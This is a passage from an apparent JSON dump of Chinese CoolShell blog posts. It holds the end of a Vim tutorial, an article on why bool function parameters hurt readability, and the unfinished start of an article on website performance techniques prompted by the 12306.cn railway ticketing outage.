`gg` → 到第一行。（陈皓注：相当于1G，或 :1）\n3. `G` → 到最后一行。\n4. 按单词移动：  \n\n\n> \n> \n> \t1. `w` → 到下一个单词的开头。\n> \t2. `e` → 到下一个单词的结尾。\n> > 如果你认为单词是由默认方式，那么就用小写的e和w。默认上来说，一个单词由字母，数字和下划线组成（陈皓注：程序变量）\n> \n> \n> > 如果你认为单词是由blank字符分隔符，那么你需要使用大写的E和W。（陈皓注：程序语句）\n> \n> \n> http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/word_moves.jpg\n> \n>\n\n\n下面，让我来说说最强的光标移动：\n\n\n\n> \n> * `%` : 匹配括号移动，包括 `(`, `{`, `[`. （陈皓注：你需要把光标先移到括号上）\n> * `*` 和 `#`:  匹配光标当前所在的单词，移动光标到下一个（或上一个）匹配单词（\\*是下一个，#是上一个）\n> \n> \n> \n\n\n相信我，上面这三个命令对程序员来说是相当强大的。\n\n\n##### 更快\n\n\n你一定要记住光标的移动，因为很多命令都可以和这些移动光标的命令连动。很多命令都可以如下来干：\n\n\n`<start position><command><end position>`\n\n\n例如 `0y$` 命令意味着：\n\n\n* `0` → 先到行头\n* `y` → 从这里开始拷贝\n* `$` → 拷贝到本行最后一个字符\n\n\n你可可以输入 `ye`，从当前位置拷贝到本单词的最后一个字符。\n\n\n你也可以输入 `y2/foo` 来拷贝2个 “foo” 之间的字符串。\n\n\n还有很多时间并不一定你就一定要按y才会拷贝，下面的命令也会被拷贝：\n\n\n* `d` (删除 )\n* `v` (可视化的选择)\n* `gU` (变大写)\n* `gu` (变小写)\n* 等等\n\n\n（陈皓注：可视化选择是一个很有意思的命令，你可以先按v，然后移动光标，你就会看到文本被选择，然后，你可能d，也可y，也可以变大写等）\n#### 第四级 – Vim 超能力\n\n\n你只需要掌握前面的命令，你就可以很舒服的使用VIM了。但是，现在，我们向你介绍的是VIM杀手级的功能。下面这些功能是我只用vim的原因。\n\n\n##### 在当前行上移动光标: `0` `^` `$` `f` `F` `t` `T` `,` `;`\n\n\n\n> \n> * `0` → 到行头\n> * `^` → 到本行的第一个非blank字符\n> * `$` → 到行尾\n> * `g_` → 到本行最后一个不是blank字符的位置。\n> * `fa` → 到下一个为a的字符处，你也可以fs到下一个为s的字符。\n> * `t,` → 到逗号前的第一个字符。逗号可以变成其它字符。\n> * `3fa` → 在当前行查找第三个出现的a。\n> * `F` 和 `T` → 和 `f` 和 `t` 一样，只不过是相反方向。  \n> \n> http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/line_moves.jpg\n> \n> \n> \n\n\n还有一个很有用的命令是 `dt\"` → 删除所有的内容，直到遇到双引号—— `\"。`\n\n\n##### 区域选择 `<action>a<object>` 或 `<action>i<object>`\n\n\n在visual 模式下，这些命令很强大，其命令格式为\n\n\n`<action>a<object>` 和 `<action>i<object>`\n\n\n* action可以是任何的命令，如 `d` (删除), `y` (拷贝), `v` (可以视模式选择)。\n* object 可能是： `w` 一个单词， `W` 一个以空格为分隔的单词， `s` 一个句字， `p` 一个段落。也可以是一个特别的字符：`\"、` `'、` `)、` `}、` `]。`\n\n\n假设你有一个字符串 `(map (+) (\"foo\"))`.而光标键在第一个 `o`的位置。\n\n\n\n> \n> * `vi\"` → 会选择 `foo`.\n> * `va\"` → 会选择 `\"foo\"`.\n> * `vi)` → 会选择 `\"foo\"`.\n> * `va)` → 会选择`(\"foo\")`.\n> * `v2i)` → 会选择 `map (+) (\"foo\")`\n> * `v2a)` → 会选择 `(map (+) (\"foo\"))`\n> \n> \n> \n\n\nhttp://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/textobjects.png\n\n\n##### 块操作: `<C-v>`\n\n\n块操作，典型的操作： `0 <C-v> <C-d> I-- [ESC]`\n\n\n* `^` → 到行头\n* `<C-v>` → 开始块操作\n* `<C-d>` → 向下移动 (你也可以使用hjkl来移动光标，或是使用%，或是别的)\n* `I-- [ESC]` → I是插入，插入“`--`”，按ESC键来为每一行生效。\n\n\nhttp://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/rectangular-blocks.gif\n\n\n在Windows下的vim，你需要使用 `<C-q>` 而不是 `<C-v>` ，`<C-v>` 是拷贝剪贴板。\n\n\n##### 自动提示： `<C-n>` 和 `<C-p>`\n\n\n在 Insert 模式下，你可以输入一个词的开头，然后按 `<C-p>或是<C-n>，自动补齐功能就出现了……`\n\n\nhttp://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/completion.gif\n\n\n##### 宏录制： `qa` 操作序列 `q`, `@a`, `@@`\n\n\n* `qa` 把你的操作记录在寄存器 `a。`\n* 于是 `@a` 会replay被录制的宏。\n* `@@` 是一个快捷键用来replay最新录制的宏。\n\n\n\n> ***示例***\n> \n> \n> 在一个只有一行且这一行只有“1”的文本中，键入如下命令：\n> \n> \n> * `qaYp<C-a>q`→\n> \t+ `qa` 开始录制\n> \t+ `Yp` 复制行.\n> \t+ `<C-a>` 增加1.\n> \t+ `q` 停止录制.\n> * `@a` → 在1下面写下 2\n> * `@@` → 在2 正面写下3\n> * 现在做 `100@@` 会创建新的100行，并把数据增加到 103.\n> \n> \n> \n\n\nhttp://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/macros.gif\n\n\n##### 可视化选择： `v`,`V`,`<C-v>`\n\n\n前面，我们看到了 `<C-v>`的示例 （在Windows下应该是<C-q>），我们可以使用 `v` 和 `V`。一但被选好了，你可以做下面的事：\n\n\n* `J` → 把所有的行连接起来（变成一行）\n* `<` 或 `>` → 左右缩进\n* `=` → 自动给缩进 （陈皓注：这个功能相当强大，我太喜欢了）\n\n\nhttp://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/autoindent.gif\n\n\n在所有被选择的行后加上点东西：\n\n\n* `<C-v>`\n* 选中相关的行 (可使用 `j` 或 `<C-d>` 或是 `/pattern` 或是 `%` 等……)\n* `$` 到行最后\n* `A`, 输入字符串，按 `ESC。`\n\n\nhttp://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/append-to-many-lines.gif\n\n\n##### 分屏: `:split` 和 `vsplit`.\n\n\n下面是主要的命令，你可以使用VIM的帮助 `:help split`. 你可以参考本站以前的一篇文章[VIM分屏](https://coolshell.cn/articles/1679.html \"Vim的分屏功能\")。\n\n\n\n> \n> * `:split` → 创建分屏 (`:vsplit`创建垂直分屏)\n> * `<C-w><dir>` : dir就是方向，可以是 `hjkl` 或是 ←↓↑→ 中的一个，其用来切换分屏。\n> * `<C-w>_` (或 `<C-w>|`) : 最大化尺寸 (<C-w>| 垂直分屏)\n> * `<C-w>+` (或 `<C-w>-`) : 增加尺寸\n> \n> \n> \n\n\nhttp://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/split.gif\n\n\n#### 结束语\n\n\n* 上面是作者最常用的90%的命令。\n* 我建议你每天都学1到2个新的命令。\n* 在两到三周后，你会感到vim的强大的。\n\n\n* 有时候，学习VIM就像是在死背一些东西。\n* 幸运的是，vim有很多很不错的工具和优秀的文档。\n* 运行vimtutor直到你熟悉了那些基本命令。\n* 其在线帮助文档中你应该要仔细阅读的是 `:help usr_02.txt`.\n* 你会学习到诸如  `!，` 目录，寄存器，插件等很多其它的功能。\n\n\n学习vim就像学弹钢琴一样，一旦学会，受益无穷。\n\n\n——————————正文结束——————————\n\n\n对于vi/vim只是点评一点：这是一个你不需要使用鼠标，不需使用小键盘，只需要使用大键盘就可以完成很多复杂功能文本编辑的编辑器。不然，[Visual Studio也不就会有vim的插件了](https://coolshell.cn/articles/1901.html \"Visual Studio的Vim插件\")。\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\nThe post [简明 Vim 练级攻略](https://coolshell.cn/articles/5426.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-9-8 千万不要把 bool 设计成函数参数.md",
    "content": "---\nlayout: post\ntitle: 千万不要把 bool 设计成函数参数\ndate: 2011/9/8/ 7:35:18\nupdated: 2011/9/8/ 7:35:18\nstatus: publish\npublished: true\ntype: post\n---\n\n我们有很多Coding Style 或 代码规范。但这一条可能会经常被我们所遗忘，就是我们经常会在函数的参数里使用bool参数，这会大大地降低代码的可读性。不信？我们先来看看下面的代码。\n\n\n当你读到下面的代码，你会觉得这个代码是什么意思？\n\n\n`widget->repaint(false);`\n\n\n是不要repaint吗？还是别的什么意思？看了文档后，我们才知道这个参数是immediate， 也就是说，false代表不立即重画，true代码立即重画。\n\n\nWindows API中也有这样一个函数：InvalidateRect，当你看到下面的代码，你会觉得是什么意思？\n\n\n`InvalidateRect(hwnd, lpRect,  false);`\n\n\n我们先不说InvalidateRect这个函数名取得有多糟糕，我们先说一下那个false参数？invalidate意为“让XXX无效”，false是什么意思？双重否定？是肯定的意思？如果你看到这样的代码，你会相当的费解的。于是，你要去看一下文档，或是InvalidateRect的函数定义，你会看到那个参数是 **BOOL** *bErase*，意思是，是否要重画背景。\n\n\n这样的事情有很多，再看下面的代码，想把str中的”%USER%”替换成真实的用户名：\n\n\n`str.replace(\"%USER%\", user, false); // Qt 3`\n\n\nTNND，那个false是什么意思？不替换吗？还是别的什么意思，看了文档才知道，false代码大小写不敏感的替换。\n\n\n其实，如果你使用枚举变量/常量，而不是bool变量，你会让你的代码更易读，如：\n\n\n\n\n```\nwidget->repaint(PAINT::immediate);\nwidget->repaint(PAINT::deffer);\n\nInvalidateRect(hwnd, lpRect,  !RepantBackground);\n\nstr.replace(\"%USER%\", user, Qt::CaseInsensitive); // Qt 4\n```\n\n如果对这个事不以为然的话，我们再来看一些别的示例，你不妨猜猜看看下面的代码：\n\n\n`component.setCentered(true, false);`\n\n\n这什么玩意儿啊？看了文档你才知道，这原来是 setCentered(centered, autoUpdate);\n\n\n`new Textbox(300, 100, false, true);`\n\n\n这又是什么啊？看了文档才知道，这是创建一个文本框，第三个参数是是否要滚动条，第四个是是否要自动换行。TNND。\n\n\n上面的情况还不算最差，看看下面的双重否定。\n\n\n\n```\ncomponent.setDisabled(false);\nfilter.setCaseInsensitive(false)\n```\n\n再来一个，如果你读到下面的代码，相信你会和我一样，要么石化了，要么凌乱了。\n\n\n\n```\nevent.initKeyEvent(\"keypress\", true, true, null, null,\n                    false, false, false, false, 9, 0); \n```\n\n看完这篇文章，我希望你再也不要把bool为作为函数参数了。除非两个原因：\n\n\n1. 你100%确认不会带来阅读上的问题，比如Java的 setVisible (bool).\n2. 你100%确认你想去[写出无法维护很难阅读的代码](https://coolshell.cn/articles/4758.html \"如何写出无法维护的代码\")。\n\n\n【更新2011/9/8】当然，别的参数也会有一样的问题，比如：`new Textbox(300, 100, false, true);`中的300 和 100，不知道是坐标还是长宽，只不过，一般长度或坐标这样的参数都不会被hard code，都会有变量名，而bool这种参数经常性地被传成true 和 false。 bool参数表现得更为明显一些罢了。\n\n\n所以，程序中不要出现magic number，true/false 也是一种 magic number。但是，我想告诉大家，从API设计的角度来说，你无法强制调用者用常量来取代true/false，定义成枚举类型是最好的选择。\n\n\n最后，如果你想设计一个好的API，强烈推荐你读一下Nokia的Qt的《[API Design Principles](http://qt-project.org/wiki/API-Design-Principles)》，本文就是其中的“[Boolean Trap](http://developer.qt.nokia.com/wiki/API_Design_Principles#e7794937cba47d5e9c54d50a6a32328b)”。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5686.html)[多些时间能少写些代码](https://coolshell.cn/articles/5686.html)\nThe post [千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-1-16 由12306.cn谈谈网站性能技术.md",
    "content": "---\nlayout: post\ntitle: 由12306.cn谈谈网站性能技术\ndate: 2012/1/16/ 0:20:22\nupdated: 2012/1/16/ 0:20:22\nstatus: publish\npublished: true\ntype: post\n---\n\n12306.cn网站挂了，被全国人民骂了。我这两天也在思考这个事，我想以这个事来粗略地和大家讨论一下网站性能的问题。因为仓促，而且完全基于本人有限的经验和了解，所以，如果有什么问题还请大家一起讨论和指正。（这又是一篇长文，只讨论性能问题，不讨论那些UI，用户体验，或是是否把支付和购票下单环节分开的功能性的东西）\n\n\n#### 业务\n\n\n任何技术都离不开业务需求，所以，要说明性能问题，首先还是想先说说业务问题。\n\n\n* **其一**，**有人可能把这个东西和QQ或是网游相比**。但我觉得这两者是不一样的，网游和QQ在线或是登录时访问的更多的是用户自己的数据，而订票系统访问的是中心的票量数据，这是不一样的。不要觉得网游或是QQ能行你就以为这是一样的。网游和QQ 的后端负载相对于电子商务的系统还是简单。\n\n\n* **其二**，**有人说春节期间订火车的这个事好像网站的秒杀活动**。的确很相似，但是如果你的思考不在表面的话，你会发现这也有些不一样。火车票这个事，一方面会伴随着大量的查询操作，更BT的是下单的时候需要对数据库很多的一致性的操作，一方面是从起点到终点各个分段票的一致性，另一方面，买的人路线、车次、时间选择有很多，会不停地改变下单方式。而秒杀，直接杀就好了，没有那么多查询和一致性的问题。另外，关于秒杀，完全可以做成只接受前N个用户的请求（完全不操作后端的任何数据， 仅仅只是对用户的下单操作log），这种业务，只需要在内存cache中放好可秒杀的数量，还可以把数据分布开来放，100商品，10台服务器一台放10个，无需在当时操作任何数据库。可以订单数够后，停止秒杀，然后批量写数据库。而且秒杀的商品不多。火车票这个不是像秒杀那么简单的，春运时间，几乎所有的票都是热门票，而且几乎是全国人民都来了，而且还有转车业务，多条线的库存都要做事务操作，你想想吧，这有多难。（淘宝的双十一也就3百万用户，而火车票瞬时有千万级别甚至是亿级别的）（**更新：2014年1月11日**：来了淘宝后，对淘宝的系统有了解，淘宝的秒杀活动，本质上是用输验证码并在CDN上把用户直接过滤掉了，比如：1千万个用户过滤了只剩2万个用户，这样数据库就顶得住了）\n\n\n* **其三**，**有人拿这个系统和奥运会的票务系统比较**。我觉得还是不一样。虽然奥运会的票务系统当年也一上线就废了。但是奥运会用的是抽奖的方式，也就是说不存在先来先得的抢的方式，而且，是事后抽奖，事前只需要收信息，事前不需要保证数据一致性，没有锁，很容易水平扩展。\n\n\n* **其四**，**订票系统应该和电子商务的订单系统很相似**，都是需要对库存进行：1）占住库存，2）支付（可选），3）扣除库存的操作。这个是需要有一致性的检查的，也就是在并发时需要对数据加锁的。B2C的电商基本上都会把这个事干成异步的，也就是说，你下的订单并不是马上处理的，而是延时处理的，只有成功处理了，系统才会给你一封确认邮件说是订单成功。我相信有很多朋友都收到认单不成功的邮件。**这就是说，数据一致性在并发下是一个瓶颈**。\n\n\n\n* **其五**，**铁路的票务业务很变态**，其采用的是突然放票，而有的票又远远不够大家分，所以，大家才会有抢票这种有中国特色的业务的做法。于是当票放出来的时候，就会有几百万人甚至上千万人杀上去，查询，下单。几十分钟内，一个网站能接受几千万的访问量，这个是很恐怖的事情。[据说12306的高峰访问是10亿PV](http://www.linuxso.com/architecture/17006.html)，集中在早8点到10点，每秒PV在高峰时上千万。\n\n\n多说几句：\n\n\n* **库存是B2C的恶梦，库存管理相当的复杂**。不信，你可以问问所有传统和电务零售业的企业，看看他们管理库存是多么难的一件事。不然，就不会有那么多人在问凡客的库存问题了。（你还可以看看《乔布斯传》，你就知道为什么Tim会接任Apple的CEO了，最主要的原因是他搞定了苹果的库存周期问题）\n\n\n* **对于一个网站来说，浏览网页的高负载很容易搞定，查询的负载有一定的难度去处理，不过还是可以通过缓存查询结果来搞定，最难的就是下单的负载**。因为要访问库存啊，对于下单，基本上是用异步来搞定的。去年双11节，淘宝的每小时的订单数大约在60万左右，京东一天也才能支持40万（居然比12306还差），亚马逊5年前一小时可支持70万订单量。可见，下订单的操作并没有我们相像的那么性能高。\n\n\n* **淘宝要比B2C的网站要简单得多，因为没有仓库**，所以，不存在像B2C这样有N个仓库对同一商品库存更新和查询的操作。下单的时候，B2C的 网站要去找一个仓库，又要离用户近，又要有库存，这需要很多计算。试想，你在北京买了一本书，北京的仓库没货了，就要从周边的仓库调，那就要去看看沈阳或 是西安的仓库有没有货，如果没有，又得看看江苏的仓库，等等。淘宝的就没有那么多事了，每个商户有自己的库存，库存就是一个数字，并且库存分到商户头上了，反而有利于性能扩展。\n\n\n* **数据一致性才是真正的性能瓶颈**。有 人说nginx可以搞定每秒10万的静态请求，我不怀疑。但这只是静态请求，理论值，只要带宽、I/O够强，服务器计算能力够，并支持的并发连接数顶得住10万TCP链接的建立 的话，那没有问题。但在数据一致性面前，这10万就完完全全成了一个可望不可及的理论值了。\n\n\n我说那么多，我只是想从业务上告诉大家，我们需要从业务上真正了解春运铁路订票这样业务的变态之处。\n\n\n#### 前端性能优化技术\n\n\n要解决性能的问题，有很多种常用的方法，我在下面列举一下，我相信12306这个网站使用下面的这些技术会让其性能有质的飞跃。\n\n\n##### 一、前端负载均衡\n\n\n通过DNS的负载均衡器（一般在路由器上根据路由的负载重定向）可以把用户的访问均匀地分散在多个Web服务器上。这样可以减少Web服务器的请求负载。因为http的请求都是短作业，所以，可以通过很简单的负载均衡器来完成这一功能。最好是有CDN网络让用户连接与其最近的服务器（CDN通常伴随着分布式存储）。（关于负载均衡更为详细的说明见“后端的负载均衡”）\n\n\n##### 二、减少前端链接数\n\n\n我看了一下12306.cn，打开主页需要建60多个HTTP连接，车票预订页面则有70多个HTTP请求，现在的浏览器都是并发请求的（当然，浏览器的一个页面的并发数是有限的，但是你挡不住用户开多个页面，而且，后端服务器TCP链接在前端断开始，还不会马上释放或重要）。所以，只要有100万个用户，就有可能会有6000万个链接（访问第一次后有了浏览器端的cache，这个数会下来，就算只有20%也是百万级的链接数），太多了。一个登录查询页面就好了。把js打成一个文件，把css也打成一个文件，把图标也打成一个文件，用css分块展示。把链接数减到最低。\n\n\n##### 三、减少网页大小增加带宽\n\n\n这个世界不是哪个公司都敢做图片服务的，因为图片太耗带宽了。现在宽带时代很难有人能体会到当拨号时代做个图页都不敢用图片的情形（现在在手机端浏览也是这个情形）。我查看了一下12306首页的需要下载的总文件大小大约在900KB左右，如果你访问过了，浏览器会帮你缓存很多，只需下载10K左右的文件。但是我们可以想像一个极端一点的案例，1百万用户同时访问，且都是第一次访问，每人下载量需要1M，如果需要在120秒内返回，那么就需要，1M \\* 1M /120 \\* 8 = 66Gbps的带宽。很惊人吧。所以，我估计在当天，12306的阻塞基本上应该是网络带宽，所以，你可能看到的是没有响应。后面随着浏览器的缓存帮助12306减少很多带宽占用，于是负载一下就到了后端，后端的数据处理瓶颈一下就出来。于是你会看到很多http 500之类的错误。这说明后端服务器垮了。\n\n\n##### 四、前端页面静态化\n\n\n静态化一些不常变的页面和数据，并gzip一下。~~还有一个变态的方法是把这些静态页面放在/dev/shm下，这个目录就是内存，直接从内存中把文件读出来返回，这样可以减少昂贵的磁盘I/O~~。使用nginx的sendfile功能可以让这些静态文件直接在内核心态交换，可以极大增加性能。\n\n\n##### 五、优化查询\n\n\n很多人查询都是在查一样的，完全可以用反向代理合并这些并发的相同的查询。这样的技术主要用查询结果缓存来实现，第一次查询走数据库获得数据，并把数据放到缓存，后面的查询统统直接访问高速缓存。为每个查询做Hash，使用NoSQL的技术可以完成这个优化。（这个技术也可以用做静态页面）\n\n\n对于火车票量的查询，个人觉得不要显示数字，就显示一个“有”或“无”就好了，这样可以大大简化系统复杂度，并提升性能。把查询对数据库的负载分出去，从而让数据库可以更好地为下单的人服务。\n\n\n##### 六、缓存的问题\n\n\n缓存可以用来缓存动态页面，也可以用来缓存查询的数据。缓存通常有那么几个问题：\n\n\n1）缓存的更新。也叫缓存和数据库的同步。有这么几种方法，一是缓存time out，让缓存失效，重查，二是，由后端通知更新，一量后端发生变化，通知前端更新。前者实现起来比较简单，但实时性不高，后者实现起来比较复杂 ，但实时性高。\n\n\n2）缓存的换页。内存可能不够，所以，需要把一些不活跃的数据换出内存，这个和操作系统的内存换页和交换内存很相似。FIFO、LRU、LFU都是比较经典的换页算法。相关内容参看[Wikipeida的缓存算法](http://en.wikipedia.org/wiki/Cache_algorithms)。\n\n\n3）缓存的重建和持久化。缓存在内存，系统总要维护，所以，缓存就会丢失，如果缓存没了，就需要重建，如果数据量很大，缓存重建的过程会很慢，这会影响生产环境，所以，缓存的持久化也是需要考虑的。\n\n\n诸多强大的NoSQL都很好支持了上述三大缓存的问题。\n\n\n#### 后端性能优化技术\n\n\n前面讨论了前端性能的优化技术，于是前端可能就不是瓶颈问题了。那么性能问题就会到后端数据上来了。下面说几个后端常见的性能优化技术。\n\n\n##### 一、数据冗余\n\n\n关于数据冗余，也就是说，把我们的数据库的数据冗余处理，也就是减少表连接这样的开销比较大的操作，但这样会牺牲数据的一致性。风险比较大。很多人把NoSQL用做数据，快是快了，因为数据冗余了，但这对数据一致性有大的风险。这需要根据不同的业务进行分析和处理。（注意：用关系型数据库很容易移植到NoSQL上，但是反过来从NoSQL到关系型就难了）\n\n\n##### 二、数据镜像\n\n\n几乎所有主流的数据库都支持镜像，也就是replication。数据库的镜像带来的好处就是可以做负载均衡。把一台数据库的负载均分到多台上，同时又保证了数据一致性（Oracle的SCN）。最重要的是，这样还可以有高可用性，一台废了，还有另一台在服务。\n\n\n数据镜像的数据一致性可能是个复杂的问题，所以我们要在单条数据上进行数据分区，也就是说，把一个畅销商品的库存均分到不同的服务器上，如，一个畅销商品有1万的库存，我们可以设置10台服务器，每台服务器上有1000个库存，这就好像B2C的仓库一样。\n\n\n##### 三、数据分区\n\n\n数据镜像不能解决的一个问题就是数据表里的记录太多，导致数据库操作太慢。所以，把数据分区。数据分区有很多种做法，一般来说有下面这几种：\n\n\n1）把数据把某种逻辑来分类。比如火车票的订票系统可以按各铁路局来分，可按各种车型分，可以按始发站分，可以按目的地分……，反正就是把一张表拆成多张有一样的字段但是不同种类的表，这样，这些表就可以存在不同的机器上以达到分担负载的目的。\n\n\n2）把数据按字段分，也就是竖着分表。比如把一些不经常改的数据放在一个表里，经常改的数据放在另外多个表里。把一张表变成1对1的关系，这样，你可以减少表的字段个数，同样可以提升一定的性能。另外，字段多会造成一条记录的存储会被放到不同的页表里，这对于读写性能都有问题。但这样一来会有很多复杂的控制。\n\n\n3）平均分表。因为第一种方法是并不一定平均分均，可能某个种类的数据还是很多。所以，也有采用平均分配的方式，通过主键ID的范围来分表。\n\n\n4）同一数据分区。这个在上面数据镜像提过。也就是把同一商品的库存值分到不同的服务器上，比如有10000个库存，可以分到10台服务器上，一台上有1000个库存。然后负载均衡。\n\n\n这三种分区都有好有坏。最常用的还是第一种。数据一旦分区，你就需要有一个或是多个调度来让你的前端程序知道去哪里找数据。**把火车票的数据分区，并放在各个省市，会对12306这个系统有非常有意义的质的性能的提高**。\n\n\n##### 四、后端系统负载均衡\n\n\n前面说了数据分区，数据分区可以在一定程度上减轻负载，但是无法减轻热销商品的负载，对于火车票来说，可以认为是大城市的某些主干线上的车票。这就需要使用数据镜像来减轻负载。使用数据镜像，你必然要使用负载均衡，在后端，我们可能很难使用像路由器上的负载均衡器，因为那是均衡流量的，因为流量并不代表服务器的繁忙程度。因此，我们需要一个任务分配系统，其还能监控各个服务器的负载情况。\n\n\n任务分配服务器有一些难点：\n\n\n* 负载情况比较复杂。什么叫忙？是CPU高？还是磁盘I/O高？还是内存使用高？还是并发高？还是内存换页率高？你可能需要全部都要考虑。这些信息要发送给那个任务分配器上，由任务分配器挑选一台负载最轻的服务器来处理。\n\n\n* 任务分配服务器上需要对任务队列，不能丢任务啊，所以还需要持久化。并且可以以批量的方式把任务分配给计算服务器。\n\n\n* 任务分配服务器死了怎么办？这里需要一些如Live-Standby或是failover等高可用性的技术。我们还需要注意那些持久化了的任务的队列如何转移到别的服务器上的问题。\n\n\n我看到有很多系统都用静态的方式来分配，有的用hash，有的就简单地轮流分析。这些都不够好，一个是不能完美地负载均衡，另一个静态的方法的致命缺陷是，如果有一台计算服务器死机了，或是我们需要加入新的服务器，对于我们的分配器来说，都需要知道的。另外，还要重算哈希（一致性hash可以部分解决这个问题）。\n\n\n还有一种方法是使用抢占式的方式进行负载均衡，由下游的计算服务器去任务服务器上拿任务。让这些计算服务器自己决定自己是否要任务。这样的好处是可以简化系统的复杂度，而且还可以任意实时地减少或增加计算服务器。但是唯一不好的就是，如果有一些任务只能在某种服务器上处理，这可能会引入一些复杂度。不过总体来说，这种方法可能是比较好的负载均衡。\n\n\n##### 五、异步、 throttle 和 批量处理\n\n\n异步、throttle（节流阀） 和批量处理都需要对并发请求数做队列处理的。\n\n\n* 异步在业务上一般来说就是收集请求，然后延时处理。在技术上就是可以把各个处理程序做成并行的，也就可以水平扩展了。但是异步的技术问题大概有这些，a）被调用方的结果返回，会涉及进程线程间通信的问题。b）如果程序需要回滚，回滚会有点复杂。c）异步通常都会伴随多线程多进程，并发的控制也相对麻烦一些。d）很多异步系统都用消息机制，消息的丢失和乱序也会是比较复杂的问题。\n\n\n* throttle 技术其实并不提升性能，这个技术主要是防止系统被超过自己不能处理的流量给搞垮了，这其实是个保护机制。使用throttle技术一般来说是对于一些自己无法控制的系统，比如，和你网站对接的银行系统。\n\n\n* 批量处理的技术，是把一堆基本相同的请求批量处理。比如，大家同时购买同一个商品，没有必要你买一个我就写一次数据库，完全可以收集到一定数量的请求，一次操作。这个技术可以用作很多方面。比如节省网络带宽，我们都知道网络上的MTU（最大传输单元），以态网是1500字节，光纤可以达到4000多个字节，如果你的一个网络包没有放满这个MTU，那就是在浪费网络带宽，因为网卡的驱动程序只有一块一块地读效率才会高。因此，网络发包时，我们需要收集到足够多的信息后再做网络I/O，这也是一种批量处理的方式。批量处理的敌人是流量低，所以，批量处理的系统一般都会设置上两个阀值，一个是作业量，另一个是timeout，只要有一个条件满足，就会开始提交处理。\n\n\n所以，**只要是异步，一般都会有throttle机制，一般都会有队列来排队，有队列，就会有持久化，而系统一般都会使用批量的方式来处理**。\n\n\n[云风同学设计的“排队系统”](http://blog.codingnow.com/2012/01/ticket_queue.html) 就是这个技术。这和电子商务的订单系统很相似，就是说，我的系统收到了你的购票下单请求，但是我还没有真正处理，我的系统会跟据我自己的处理能力来throttle住这些大量的请求，并一点一点地处理。一旦处理完成，我就可以发邮件或短信告诉用户你来可以真正购票了。\n\n\n在这里，我想通过业务和用户需求方面讨论一下云风同学的这个排队系统，因为其从技术上看似解决了这个问题，但是从业务和用户需求上来说可能还是有一些值得我们去深入思考的地方：\n\n\n1）**队列的DoS攻击**。首先，我们思考一下，这个队是个单纯地排队的吗？这样做还不够好，因为这样我们不能杜绝黄牛，而且单纯的ticket\\_id很容易发生DoS攻击，比如，我发起N个 ticket\\_id，进入购票流程后，我不买，我就耗你半个小时，很容易我就可以让想买票的人几天都买不到票。有人说，用户应该要用身份证来排队， 